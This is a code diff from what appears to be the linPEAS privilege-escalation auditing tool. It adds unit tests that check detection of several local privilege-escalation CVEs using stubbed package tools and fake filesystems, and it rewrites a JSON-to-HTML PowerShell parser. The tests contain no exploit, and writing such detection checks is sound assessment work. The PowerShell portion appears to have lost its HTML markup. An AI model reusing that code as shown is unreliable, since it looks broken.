{snippet_value};\n", encoding="utf-8" + ) + return root + + def _run_check(self, root, package_version, package_status="install ok installed"): + bindir = root.parent / "bin" + bindir.mkdir() + dpkg_query = bindir / "dpkg-query" + dpkg_query.write_text( + '#!/bin/sh\nprintf "%s|%s\\n" "$FAKE_NEEDRESTART_STATUS" ' + '"$FAKE_NEEDRESTART_VERSION"\n', + encoding="utf-8", + ) + dpkg_query.chmod(0o755) + dpkg = bindir / "dpkg" + dpkg.write_text( + '#!/bin/sh\n' + 'if [ "$1" = "--compare-versions" ]; then\n' + ' [ "$FAKE_DPKG_VERSION_IS_OLDER" = "1" ]\n' + ' exit\n' + 'fi\n' + 'exit 1\n', + encoding="utf-8", + ) + dpkg.chmod(0o755) + rpm = bindir / "rpm" + rpm.write_text( + '#!/bin/sh\n' + 'echo "package needrestart is not installed"\n' + 'exit 1\n', + encoding="utf-8", + ) + rpm.chmod(0o755) + + env = os.environ.copy() + env.update( + { + "FAKE_NEEDRESTART_STATUS": package_status, + "FAKE_NEEDRESTART_VERSION": package_version, + "FAKE_DPKG_VERSION_IS_OLDER": ( + "1" if package_version == "3.6-7ubuntu4.2" else "0" + ), + "PATH": f"{bindir}:{env['PATH']}", + } + ) + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + "E=E", + "SED_GREEN='&'", + "SED_LIGHT_CYAN='&'", + "SED_RED_YELLOW='&'", + "SED_YELLOW='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.extract_version_helper))}", + f". {shlex.quote(str(self.version_lt_helper))}", + f". {shlex.quote(str(self.function_file))}", + "checkNeedrestartCVE202448990", + ] + ) + return subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + + def test_vulnerable_ubuntu_package_with_default_scanner_is_reported(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result = self._run_check(root, "3.6-7ubuntu4.2") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: Needrestart interpreter-scanner LPE", result.stdout) + self.assertIn("VULNERABLE to CVE-2024-48990", result.stdout) + self.assertIn("Effective interpreter scanning: 1", result.stdout) + + def test_vendor_fixed_ubuntu_package_is_not_flagged(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result = self._run_check(root, "3.6-7ubuntu4.3") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("is not vulnerable to CVE-2024-48990", result.stdout) + self.assertNotIn("VULNERABLE to CVE-2024-48990", result.stdout) + + def test_vendor_fixed_debian_backport_is_not_flagged(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + (root / "etc" / "os-release").write_text( + "ID=debian\nVERSION_CODENAME=trixie\n", encoding="utf-8" + ) + result = self._run_check(root, "3.7-3.1") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("is not vulnerable to CVE-2024-48990", result.stdout) + self.assertNotIn("Potentially vulnerable to CVE-2024-48990", result.stdout) + + def test_removed_package_with_remaining_config_is_ignored(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result = self._run_check( + root, + "3.6-7ubuntu4.2", + package_status="deinstall ok config-files", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Needrestart interpreter-scanner LPE", result.stdout) + self.assertNotIn("VULNERABLE to CVE-2024-48990", result.stdout) + + def test_conf_d_mitigation_overrides_main_configuration(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), main_value=1, snippet_value=0) + result = self._run_check(root, "3.6-7ubuntu4.2") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("interpscan=0 mitigation is active", result.stdout) + self.assertIn("Effective interpreter scanning: 0", result.stdout) + self.assertNotIn("VULNERABLE to CVE-2024-48990", result.stdout) + + def test_upstream_version_comparison_handles_double_digit_components(self): + body = "\n".join( + [ + f". {shlex.quote(str(self.version_lt_helper))}", + "lp_version_lt 3.7 3.8 && echo old=yes", + "lp_version_lt 3.10 3.8 || echo new=yes", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("old=yes", result.stdout) + self.assertIn("new=yes", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_snap_confine.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_snap_confine.py new file mode 100644 index 00000000..3e99ce8c --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_snap_confine.py @@ -0,0 +1,178 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class SnapConfineCVE20268933Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkSnapConfineCVE20268933.sh" + ) + cls.extract_version_helper = cls.function_file.parent / "lp_extract_upstream_version.sh" + + def _make_root(self, base, release="24.04", snap_version=None): + root = base / "root" + (root / "etc").mkdir(parents=True) + (root / "etc" / "os-release").write_text( + f'ID=ubuntu\nVERSION_ID="{release}"\n', encoding="utf-8" + ) + if snap_version is None: + binary = root / "usr" / "lib" / "snapd" / "snap-confine" + else: + binary = ( + root + / "snap" + / "snapd" + / "current" + / "usr" + / "lib" + / "snapd" + / "snap-confine" + ) + meta = root / "snap" / "snapd" / "current" / "meta" + meta.mkdir(parents=True) + (meta / "snap.yaml").write_text( + f"name: snapd\nversion: {snap_version}\n", encoding="utf-8" + ) + binary.parent.mkdir(parents=True, exist_ok=True) + binary.write_text("#!/bin/sh\ntouch \"$EXECUTED_MARKER\"\n", encoding="utf-8") + binary.chmod(0o755) + return root, binary + + def _run_check(self, root, package_version="2.75+ubuntu24.04"): + bindir = root.parent / "bin" + bindir.mkdir() + getcap = bindir / "getcap" + getcap.write_text( + '#!/bin/sh\nprintf "%s cap_chown,cap_sys_admin=p\\n" "$1"\n', + encoding="utf-8", + ) + getcap.chmod(0o755) + dpkg_query = bindir / "dpkg-query" + dpkg_query.write_text( + '#!/bin/sh\nprintf "%s\\n" "$FAKE_SNAPD_VERSION"\n', encoding="utf-8" + ) + dpkg_query.chmod(0o755) + + marker = root.parent / "executed" + env = os.environ.copy() + env.update( + { + "EXECUTED_MARKER": str(marker), + "FAKE_SNAPD_VERSION": package_version, + "PATH": f"{bindir}:{env['PATH']}", + } + ) + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + "E=E", + "SED_RED_YELLOW='&'", + "SED_LIGHT_CYAN='&'", + "SED_GREEN='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.extract_version_helper))}", + f". {shlex.quote(str(self.function_file))}", + "checkSnapConfineCVE20268933", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + return result, marker + + def test_vulnerable_ubuntu_package_is_reported_without_executing_binary(self): + with tempfile.TemporaryDirectory() as tmpdir: + root, binary = self._make_root(Path(tmpdir)) + result, marker = self._run_check(root) + self.assertFalse(marker.exists(), "the privileged binary must never be executed") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: Set-capabilities snap-confine", result.stdout) + self.assertIn("Vulnerable to CVE-2026-8933", result.stdout) + + def test_release_specific_fixed_versions(self): + cases = ( + ("2.76+ubuntu22.04", "22.04", True), + ("2.76+ubuntu22.04.1", "22.04", False), + ("2.76+ubuntu24.04", "24.04", True), + ("2.76+ubuntu24.04.1", "24.04", False), + ("2.76+ubuntu26.04.2", "26.04", True), + ("2.76+ubuntu26.04.3", "26.04", False), + ("2.75.1", "snap", True), + ("2.76.1", "snap", False), + ) + checks = [] + for version, release, vulnerable in cases: + kind = "snap" if release == "snap" else "deb" + checks.append( + "sc8933_version_is_vulnerable " + f"{shlex.quote(version)} {kind} {release} && " + f"echo {version}=yes || echo {version}=no" + ) + body = "\n".join( + [ + f". {shlex.quote(str(self.extract_version_helper))}", + f". {shlex.quote(str(self.function_file))}", + ] + + checks + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + for version, _, vulnerable in cases: + expected = "yes" if vulnerable else "no" + self.assertIn(f"{version}={expected}", result.stdout) + + def test_fixed_ubuntu_package_is_not_flagged(self): + with tempfile.TemporaryDirectory() as tmpdir: + root, binary = self._make_root(Path(tmpdir)) + result, _ = self._run_check(root, package_version="2.76+ubuntu24.04.1") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("not in the known CVE-2026-8933 vulnerable range", result.stdout) + self.assertNotIn("Vulnerable to CVE-2026-8933", result.stdout) + + def test_vulnerable_snap_revision_is_reported(self): + with tempfile.TemporaryDirectory() as tmpdir: + root, binary = self._make_root(Path(tmpdir), snap_version="2.75.1") + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("Vulnerable to CVE-2026-8933", result.stdout) + self.assertIn("version 2.75.1", result.stdout) + + def test_setuid_snap_confine_is_excluded(self): + with tempfile.TemporaryDirectory() as tmpdir: + root, binary = self._make_root(Path(tmpdir)) + binary.chmod(0o4755) + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_systemd_writable_exec_paths.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_systemd_writable_exec_paths.py new file mode 100644 index 00000000..160337a3 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_systemd_writable_exec_paths.py @@ -0,0 +1,109 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class SystemdWritableExecPathsTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkSystemdWritableExecPaths.sh" + ) + + def _run_check(self, service_user="", iamroot=""): + with tempfile.TemporaryDirectory() as tmpdir: + tmp_path = Path(tmpdir) + bindir = tmp_path / "bin" + writable_dir = tmp_path / "deploy" + bindir.mkdir() + writable_dir.mkdir() + writable_dir.chmod(0o777) + + marker = tmp_path / "executed" + executable = writable_dir / "root-service" + executable.write_text( + f'#!/bin/sh\ntouch {shlex.quote(str(marker))}\n', encoding="utf-8" + ) + executable.chmod(0o755) + + systemctl = bindir / "systemctl" + systemctl.write_text( + "#!/bin/sh\n" + "case \"$1\" in\n" + " list-units) echo 'demo.service loaded active running Demo' ;;\n" + " show)\n" + " printf 'User=%s\\n' \"$FAKE_SERVICE_USER\"\n" + " echo 'DynamicUser=no'\n" + " echo 'RootImage='\n" + " echo 'RootDirectory='\n" + " printf 'ExecStart={ path=%s ; argv[]=%s ; }\\n' \"$FAKE_EXECUTABLE\" \"$FAKE_EXECUTABLE\"\n" + " ;;\n" + "esac\n", + encoding="utf-8", + ) + systemctl.chmod(0o755) + + env = os.environ.copy() + env.update( + { + "FAKE_EXECUTABLE": str(executable), + "FAKE_SERVICE_USER": service_user, + "PATH": f"{bindir}:{env['PATH']}", + } + ) + body = "\n".join( + [ + f"IAMROOT={shlex.quote(iamroot)}", + "E=E", + "SED_RED_YELLOW='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.function_file))}", + "checkSystemdWritableExecPaths", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + return result, marker.exists(), str(executable), str(writable_dir) + + def test_writable_parent_of_root_service_executable_is_reported_passively(self): + result, executed, executable, writable_dir = self._run_check() + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertFalse(executed, "the configured service executable must never run") + self.assertIn("TITLE: Root systemd service executables replaceable", result.stdout) + self.assertIn(f"demo.service: {executable}", result.stdout) + self.assertIn(f"writable parent: {writable_dir}", result.stdout) + + def test_non_root_service_is_suppressed(self): + result, executed, _, _ = self._run_check(service_user="daemon") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertFalse(executed) + self.assertEqual("", result.stdout) + + def test_check_is_suppressed_when_linpeas_runs_as_root(self): + result, executed, _, _ = self._run_check(iamroot="1") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertFalse(executed) + self.assertEqual("", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_udisks.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_udisks.py new file mode 100644 index 00000000..075719f9 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_udisks.py @@ -0,0 +1,189 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class UDisksCVE20267867Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkUDisksCVE20267867.sh" + ) + cls.extract_version_helper = cls.function_file.parent / "lp_extract_upstream_version.sh" + cls.version_lt_helper = cls.function_file.parent / "lp_version_lt.sh" + + def _make_root(self, base, options="defaults,user"): + root = base / "root" + (root / "etc").mkdir(parents=True) + (root / "etc" / "fstab").write_text( + f"UUID=test /media/test ext4 {options} 0 2\n", encoding="utf-8" + ) + (root / "etc" / "os-release").write_text( + 'ID=ubuntu\nVERSION_CODENAME=noble\nVERSION_ID="24.04"\n', + encoding="utf-8", + ) + (root / "var" / "lib" / "dpkg").mkdir(parents=True) + daemon = root / "usr" / "libexec" / "udisks2" / "udisksd" + daemon.parent.mkdir(parents=True) + daemon.write_text('#!/bin/sh\ntouch "$EXECUTED_MARKER"\n', encoding="utf-8") + daemon.chmod(0o755) + service = ( + root + / "usr" + / "share" + / "dbus-1" + / "system-services" + / "org.freedesktop.UDisks2.service" + ) + service.parent.mkdir(parents=True) + service.write_text( + "[D-BUS Service]\nName=org.freedesktop.UDisks2\nExec=/usr/libexec/udisks2/udisksd\n", + encoding="utf-8", + ) + return root + + def _run_check(self, root, package_version, older_than_vendor_fix): + bindir = root.parent / "bin" + bindir.mkdir() + dpkg_query = bindir / "dpkg-query" + dpkg_query.write_text( + '#!/bin/sh\nprintf "%s|%s\\n" "$FAKE_UDISKS_STATUS" "$FAKE_UDISKS_VERSION"\n', + encoding="utf-8", + ) + dpkg_query.chmod(0o755) + dpkg = bindir / "dpkg" + dpkg.write_text( + '#!/bin/sh\n' + 'if [ "$1" = "--compare-versions" ]; then\n' + ' [ "$FAKE_DPKG_VERSION_IS_OLDER" = "1" ]\n' + ' exit\n' + 'fi\n' + 'exit 1\n', + encoding="utf-8", + ) + dpkg.chmod(0o755) + rpm = bindir / "rpm" + rpm.write_text("#!/bin/sh\nexit 1\n", encoding="utf-8") + rpm.chmod(0o755) + + marker = root.parent / "executed" + env = os.environ.copy() + env.update( + { + "EXECUTED_MARKER": str(marker), + "FAKE_UDISKS_STATUS": "install ok installed", + "FAKE_UDISKS_VERSION": package_version, + "FAKE_DPKG_VERSION_IS_OLDER": "1" if older_than_vendor_fix else "0", + "PATH": f"{bindir}:{env['PATH']}", + } + ) + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + "E=E", + "SED_LIGHT_CYAN='&'", + "SED_RED_YELLOW='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.extract_version_helper))}", + f". {shlex.quote(str(self.version_lt_helper))}", + f". {shlex.quote(str(self.function_file))}", + "checkUDisksCVE20267867", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + return result, marker + + def test_vulnerable_ubuntu_package_and_fstab_entry_are_reported_passively(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result, marker = self._run_check(root, "2.10.1-6ubuntu1.4", True) + self.assertFalse(marker.exists(), "udisksd must never be executed") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: UDisks as-user mount authorization bypass", result.stdout) + self.assertIn("VULNERABLE to CVE-2026-7867", result.stdout) + self.assertIn("UUID=test /media/test ext4 defaults,user 0 2", result.stdout) + + def test_vendor_fixed_ubuntu_package_is_suppressed(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result, _ = self._run_check(root, "2.10.1-6ubuntu1.5", False) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_unaffected_pre_210_upstream_version_is_suppressed(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + (root / "etc" / "os-release").write_text( + "ID=debian\nVERSION_CODENAME=bookworm\n", encoding="utf-8" + ) + result, _ = self._run_check(root, "2.9.4-4+deb12u2", False) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_nonqualifying_nouser_option_is_suppressed(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), options="defaults,nouser") + result, _ = self._run_check(root, "2.10.1-6ubuntu1.4", True) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_missing_dbus_activation_service_is_suppressed(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + ( + root + / "usr" + / "share" + / "dbus-1" + / "system-services" + / "org.freedesktop.UDisks2.service" + ).unlink() + result, _ = self._run_check(root, "2.10.1-6ubuntu1.4", True) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_version_comparison_handles_double_digit_components(self): + body = "\n".join( + [ + f". {shlex.quote(str(self.version_lt_helper))}", + "lp_version_lt 2.10.91 2.11.2 && echo old=yes", + "lp_version_lt 2.11.10 2.11.2 || echo new=yes", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("old=yes", result.stdout) + self.assertIn("new=yes", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_xfstango.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_xfstango.py new file mode 100644 index 00000000..0eea2fc6 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_xfstango.py @@ -0,0 +1,191 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class XFSTangoCVE202680530Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkXFSTangoCVE202680530.sh" + ) + cls.version_lt_helper = cls.function_file.parent / "lp_version_lt.sh" + + def _run_check( + self, + kernel, + filesystem="xfs", + reflink="1", + with_xfs_info=True, + distro_id="ubuntu", + distro_version="26.04", + ): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + mounts = base / "mounts" + mounts.write_text( + f"/dev/test /srv/test {filesystem} rw,relatime 0 0\n", + encoding="utf-8", + ) + os_release = base / "os-release" + os_release.write_text( + f"ID={distro_id}\nVERSION_ID=\"{distro_version}\"\n", + encoding="utf-8", + ) + bindir = base / "bin" + bindir.mkdir() + timeout = bindir / "timeout" + timeout.write_text('#!/bin/sh\nshift\nexec "$@"\n', encoding="utf-8") + timeout.chmod(0o755) + marker = base / "xfs_info_args" + if with_xfs_info: + xfs_info = bindir / "xfs_info" + xfs_info.write_text( + "#!/bin/sh\n" + 'printf "%s\\n" "$*" > "$XFS_INFO_MARKER"\n' + 'printf "data = bsize=4096 reflink=%s bigtime=1\\n" "$FAKE_REFLINK"\n', + encoding="utf-8", + ) + xfs_info.chmod(0o755) + + env = os.environ.copy() + env.update( + { + "FAKE_REFLINK": reflink, + "PATH": f"{bindir}:{env['PATH']}", + "XFS_INFO_MARKER": str(marker), + } + ) + body = "\n".join( + [ + "E=E", + f"TIMEOUT={shlex.quote(str(timeout))}", + "SED_GREEN='&'", + "SED_LIGHT_CYAN='&'", + "SED_RED_YELLOW='&'", + "SED_YELLOW='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.version_lt_helper))}", + f". {shlex.quote(str(self.function_file))}", + "checkXFSTangoCVE202680530 " + f"{shlex.quote(kernel)} {shlex.quote(str(mounts))} " + f"{shlex.quote(str(os_release))}", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + marker_value = marker.read_text(encoding="utf-8").strip() if marker.exists() else "" + return result, marker_value + + def test_affected_kernel_and_reflink_filesystem_are_reported(self): + result, marker = self._run_check("6.12.104-custom") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: XFSTango XFS reflink LPE", result.stdout) + self.assertIn("POTENTIALLY VULNERABLE to CVE-2026-80530", result.stdout) + self.assertIn("/srv/test - reflink enabled", result.stdout) + self.assertEqual("/srv/test", marker) + + def test_fixed_stable_kernel_is_not_reported_as_vulnerable(self): + result, _ = self._run_check("6.12.105") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("NOT VULNERABLE by upstream version", result.stdout) + self.assertNotIn("POTENTIALLY VULNERABLE", result.stdout) + + def test_reflink_disabled_is_reported_as_mitigated(self): + result, _ = self._run_check("7.1.9", reflink="0") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("Mitigated: the mounted XFS filesystem(s) report reflink disabled", result.stdout) + self.assertNotIn("POTENTIALLY VULNERABLE", result.stdout) + + def test_unknown_reflink_state_preserves_a_cautious_warning(self): + result, marker = self._run_check("6.18.45", with_xfs_info=False) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("confirm whether reflink is enabled", result.stdout) + self.assertEqual("", marker) + + def test_rhel9_backport_is_not_missed_by_upstream_version_gate(self): + result, _ = self._run_check( + "5.14.0-570.el9_6.x86_64", distro_id="rhel", distro_version="9.6" + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("POTENTIALLY VULNERABLE to CVE-2026-80530", result.stdout) + self.assertIn("Red Hat lists RHEL 9 affected despite its 5.14 base", result.stdout) + + def test_rhel10_vendor_status_overrides_upstream_range(self): + result, _ = self._run_check( + "6.12.0-55.el10.x86_64", distro_id="rhel", distro_version="10.0" + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("NOT VULNERABLE according to the Red Hat advisory", result.stdout) + self.assertNotIn("POTENTIALLY VULNERABLE", result.stdout) + + def test_non_xfs_mount_is_suppressed(self): + result, marker = self._run_check("6.12.104", filesystem="ext4") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + self.assertEqual("", marker) + + def test_upstream_version_boundaries(self): + cases = { + "6.9.12": "predates", + "6.10.0": "affected", + "6.12.104": "affected", + "6.12.105": "fixed", + "6.18.45": "affected", + "6.18.46": "fixed", + "7.0.9": "affected", + "7.1.9": "affected", + "7.1.10": "fixed", + "7.2.0-rc6": "affected", + "7.2.0-rc7": "fixed", + "7.2.0": "fixed", + } + checks = [ + f"echo {version}=$(xft80530_kernel_status {shlex.quote(version)})" + for version in cases + ] + body = "\n".join( + [ + f". {shlex.quote(str(self.version_lt_helper))}", + f". {shlex.quote(str(self.function_file))}", + ] + + checks + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + for version, status in cases.items(): + self.assertIn(f"{version}={status}", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/README.md index edf92e27..d36bbda2 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/README.md +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/README.md @@ -38,7 +38,7 @@ There is a **maximun of 3 levels of sections**. } ], "infos": [ - "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" + "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html" ] }, "infos": [] @@ -65,7 +65,7 @@ There is a **maximun of 3 levels of sections**. } ], "infos": [ - "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" + "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html" ] }, "infos": [] diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.ps1 b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.ps1 index 480f3ec9..95db0a05 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.ps1 +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.ps1 @@ -1,398 +1,398 @@ -# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/json2html.py -# TODO: create the script -function parse_dict { - param ( - [System.Object] $json_dict - ) - - # Parse the given dict from the given json adding it to the HTML file - $dict_text = "" - foreach($obj in $json_dict.psobject.properties){ - $key = $obj.Name - $value = $obj.Value - $n = Get-Random -Minimum 1 -Maximum 999999 - $infos = [System.Collections.ArrayList]@() - - foreach($info in $value."infos"){ - if(([string]$info).StartsWith('http')){ - $infos.Add("$info
`n") - } - else{ - $infos.Add([string]$info + "
`n") - } - } - - $dict_text += "`t`t
`n" - $dict_text += "" + ($infos -join "") + "" - $dict_text += "
`n" - - if($value."lines"){ - $dict_text += $("`n" + (parse_list $value."lines") + "`n") - } - - if($value."sections"){ - $dict_text += (parse_dict $value."sections") - } - } - - return $dict_text - -} - -function parse_list { - param ( - [System.Object] $json_list - ) - # Parse the given list from the given json adding it to the HTML file - - $color_text="" - $color_class="" - - $special_char = [String][char]0x2550 - $special_char_2 = [String][char]0x2563 - - foreach($i in $json_list){ - if(-not $i."clean_text".Contains($special_char*3)){ - if($i."clean_text"){ - $color_text += "
" + $replacement + "") - if($text.Contains($special_char_2)){ - $text = $text.Replace($special_char_2, "
  • ") - $text += "
    • " - } - } - $color_text += "" + $color_class + " " - } - $color_text += "no_color`" >" + $text + "
    `n" - } - - } - } - return $color_text + "`t`t`t
    `n" -} - -function parse_json { - param ( - $json_data - ) - - $body = "" - $i = 1 - - foreach($obj in $json_data.psobject.properties){ - $key = $obj.Name - $value = $obj.Value - $body += " `t`t
    `n
    `n" - $i += 1 - foreach($obj_2 in $value.psobject.properties) { - $key1 = $obj_2.Name - $value1 = $obj_2.Value - if($value1.GetType().BaseType -eq [System.Object]){ - $body += parse_dict $value1 - } - - } - - $body += "`t`t`t
    `n" - } - - return $body -} - -$HTML_HEADER = @" - - - - - - - - - -"@ - -$HTML_END = @" - - - -"@ - -$HTML_INIT_BODY = @" - -
    -
    - -
    - - - -
    -"@ - -$body = @" - -
    -
    - -
    - - - -
    -"@ - -function main { - $json_data = Get-Content $JSON_PATH -Raw | ConvertFrom-Json - $html = $HTML_HEADER - $html += $HTML_INIT_BODY - $html += parse_json $json_data - $html += $HTML_END - - $html | Out-File $HTML_PATH -} - -try { - $JSON_PATH = $(Read-Host "JSON Path") - $HTML_PATH = $(Read-Host "HTML Path") -} -catch { - Write-Host "Error: Please pass the peas.out file and the path to save the html" - exit -} - -main +# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/json2html.py +# TODO: create the script +function parse_dict { + param ( + [System.Object] $json_dict + ) + + # Parse the given dict from the given json adding it to the HTML file + $dict_text = "" + foreach($obj in $json_dict.psobject.properties){ + $key = $obj.Name + $value = $obj.Value + $n = Get-Random -Minimum 1 -Maximum 999999 + $infos = [System.Collections.ArrayList]@() + + foreach($info in $value."infos"){ + if(([string]$info).StartsWith('http')){ + $infos.Add("$info
    `n") + } + else{ + $infos.Add([string]$info + "
    `n") + } + } + + $dict_text += "`t`t
    `n" + $dict_text += "" + ($infos -join "") + "" + $dict_text += "
    `n" + + if($value."lines"){ + $dict_text += $("`n" + (parse_list $value."lines") + "`n") + } + + if($value."sections"){ + $dict_text += (parse_dict $value."sections") + } + } + + return $dict_text + +} + +function parse_list { + param ( + [System.Object] $json_list + ) + # Parse the given list from the given json adding it to the HTML file + + $color_text="" + $color_class="" + + $special_char = [String][char]0x2550 + $special_char_2 = [String][char]0x2563 + + foreach($i in $json_list){ + if(-not $i."clean_text".Contains($special_char*3)){ + if($i."clean_text"){ + $color_text += "
    " + $replacement + "") + if($text.Contains($special_char_2)){ + $text = $text.Replace($special_char_2, "
  • ") + $text += "
